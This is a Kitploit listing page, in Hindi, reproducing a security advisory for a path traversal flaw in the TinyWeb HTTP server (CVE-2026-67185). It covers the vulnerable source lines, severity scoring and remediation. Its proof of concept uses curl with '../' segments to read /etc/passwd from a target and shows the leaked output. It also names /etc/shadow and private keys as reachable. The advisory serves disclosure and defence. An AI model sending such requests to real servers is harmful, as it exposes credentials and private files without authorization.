Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb- — Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb) | Kitploit
उपकरण/GitHubGitHub/theopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-
Vulnerability AnalysisCode AnalysisExploitationWeb SecurityLearning & Education
GitHubtheopaid/cve-2026-67185-unauthenticated-path-traversal-allows-arbitrary-file-read-tinyweb-

CVE-2026-67185-Unauthenticated-Path-Traversal-Allows-Arbitrary-File-Read-TinyWeb-

Security Advisory: Unauthenticated Path Traversal Allows Arbitrary File Read (TinyWeb)

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
23 दिन पहलेअभी तक समीक्षित नहीं

सुरक्षा सलाह: बिना प्रमाणीकरण के पाथ ट्रैवर्सल मनमाना फ़ाइल पढ़ने की अनुमति देता है (TinyWeb)

निर्धारित CVE ID: CVE-2026-67185

सारांश

TinyWeb वेब रूट को अनुरोध URL के साथ जोड़कर सर्विस की जाने वाली फ़ाइल का पाथ इस प्रकार बनाता है जैसे वह आता है, बिना किसी नॉर्मलाइज़ेशन के। एक दूरस्थ क्लाइंट जिसने कभी प्रमाणीकरण नहीं किया है, वह अनुरोध लाइन में ../ अनुक्रम सम्मिलित कर सकता है और सर्वर प्रक्रिया द्वारा खोली जा सकने वाली किसी भी फ़ाइल को पढ़ सकता है, जिसमें वेब रूट के बाहर की फ़ाइलें भी शामिल हैं।

प्रभावित सॉफ़्टवेयर

  • परियोजना: TinyWeb (https://github.com/GeneralSandman/TinyWeb)
  • बिल्ड द्वारा रिपोर्ट किया गया संस्करण: TnyWeb/0.0.8
  • प्रभावित कमिट: 0b3b5fd (2019-01-09), जहां पाथ पहली बार इस तरह जोड़ा गया था, से लेकर a381da2 (2023-11-22, master पर नवीनतम) तक।
  • फिक्स्ड संस्करण: कोई नहीं। परियोजना की कोई टैग की गई रिलीज़ नहीं है; उस सीमा में प्रकाशित हर रिवीज़न प्रभावित है।

वर्गीकरण

  • CWE-22: किसी प्रतिबंधित निर्देशिका में पाथनाम की अनुचित सीमा ("पाथ ट्रैवर्सल")
  • CVSS 4.0 आधार स्कोर: 8.7 (उच्च)
  • वेक्टर: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

खतरा मॉडल

एक अनधिकृत दूरस्थ हमलावर जो सर्वर के सुनने वाले TCP पोर्ट (भेजे गए कॉन्फ़िगरेशन में 9090) तक पहुंच सकता है। कोई क्रेडेंशियल, कोई उपयोगकर्ता इंटरैक्शन, और किसी पूर्व पहुंच की आवश्यकता नहीं है। एक एकल अनुरोध पर्याप्त है।

तकनीकी विवरण

HttpBuilder::buildResponse() कॉन्फ़िगर किए गए वेब रूट से शुरू होता है और पार्स किए गए अनुरोध से सीधे URL पाथ फ़ील्ड को जोड़ता है:

root@kitploit:~
// src/tiny_http/http_responser.cc:80
sdsncat(&file_path, server.www.c_str(), server.www.size());

// src/tiny_http/http_responser.cc:83-87
if (url->field_set & (1 << HTTP_UF_PATH)) {
    unsigned int off = url->fields[HTTP_UF_PATH].offset;
    unsigned int len = url->fields[HTTP_UF_PATH].len;
    sdsncat(&file_path, url->data + off, len);
}

// src/tiny_http/http_responser.cc:90-94
std::string f(file_path.data, file_path.len);
file_type = isRegularFile(f);
if (0 == file_type) {
    return_val = file->setFile(f);   // stat() + open() on the joined path
}

लाइन 86 पर जोड़ने और लाइन 94 पर फाइलसिस्टम कॉल के बीच कोई डॉट-सेगमेंट हटाना (RFC 3986 सेक्शन 5.2.4), कोई realpath() कैननिकलाइज़ेशन, और यह जांच नहीं है कि परिणाम server.www के अंदर रहता है।

URL पार्सर .. को भी फ़िल्टर नहीं करता है। HttpParser::parseUrlChar() में पाथ स्टेट किसी भी ऐसे कैरेक्टर को स्वीकार करता है जो isUrlChar() को पास करता है, और . एक मान्य URL कैरेक्टर है, इसलिए ../ बिना बदले buildResponse() तक पहुंचता है:

root@kitploit:~
// src/tiny_http/http_parser.cc:653-654
case s_requ_path: //finished
    if (isUrlChar(ch))
        return s_requ_path;

HttpFile::setFile() फिर उत्पादित किसी भी पाथ को खोलता है और सर्व करता है, सर्वर प्रक्रिया के विशेषाधिकारों का उपयोग करते हुए:

root@kitploit:~
// src/tiny_http/http_model_file.cc:43
return_val = open(name.c_str(), O_RDONLY);

नोट: TinyWeb URL पाथ को कभी भी प्रतिशत-डिकोड नहीं करता है, इसलिए %2e%2e%2f काम नहीं करता है। शाब्दिक ../ रूप काम करता है।

प्रूफ ऑफ कॉन्सेप्ट

  1. सर्वर को भेजे गए कॉन्फ़िगरेशन के साथ शुरू करें (पोर्ट 9090 पर सुनना, कॉन्फ़िगर किए गए वेब रूट से सर्व करना)।

  2. एक अनुरोध भेजें जिसका पाथ वेब रूट से ऊपर चढ़ता है। --path-as-is फ़्लैग curl को भेजने से पहले ../ को समेटने से रोकता है:

root@kitploit:~
curl --path-as-is 'http://TARGET:9090/../../../../etc/passwd'
  1. सर्वर /etc/passwd की सामग्री के साथ 200 OK प्रतिक्रिया देता है:
root@kitploit:~
HTTP/1.1 200 OK
Server: TinyWeb/0.0.8
Transfer-Encoding: chunked

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...

आवश्यक ../ सेगमेंट की संख्या इस बात पर निर्भर करती है कि वेब रूट कितनी गहराई पर स्थित है। वेब रूट की गहराई के बराबर या उससे अधिक कोई भी गिनती काम करती है, क्योंकि कर्नेल फाइलसिस्टम रूट पर .. को अनदेखा करता है।

प्रभाव

कोई भी दूरस्थ क्लाइंट उस किसी भी फ़ाइल को पढ़ सकता है जिसे सर्वर प्रक्रिया खोलने की अनुमति रखती है। डिफ़ॉल्ट सेटअप में वर्कर्स रूट के रूप में चलते हैं, इसलिए इसमें /etc/shadow, TLS निजी कुंजियाँ, क्रेडेंशियल वाली कॉन्फ़िगरेशन फ़ाइलें, और वेब रूट के अंतर्गत एप्लिकेशन का अपना सोर्स शामिल है।

उपाय

realpath() के साथ जोड़े गए पाथ को कैननिकलाइज़ करें और जब तक परिणाम कॉन्फ़िगर किए गए वेब रूट के अंदर न हो, अनुरोध को अस्वीकार करें। डिफेंस इन डेप्थ के रूप में, RFC 3986 सेक्शन 5.2.4 के अनुसार URL पार्सिंग के दौरान डॉट-सेगमेंट हटाएँ, और उस नॉर्मलाइज़ेशन को चलाने से पहले पाथ को प्रतिशत-डिकोड करें।

टूल डाउनलोड करें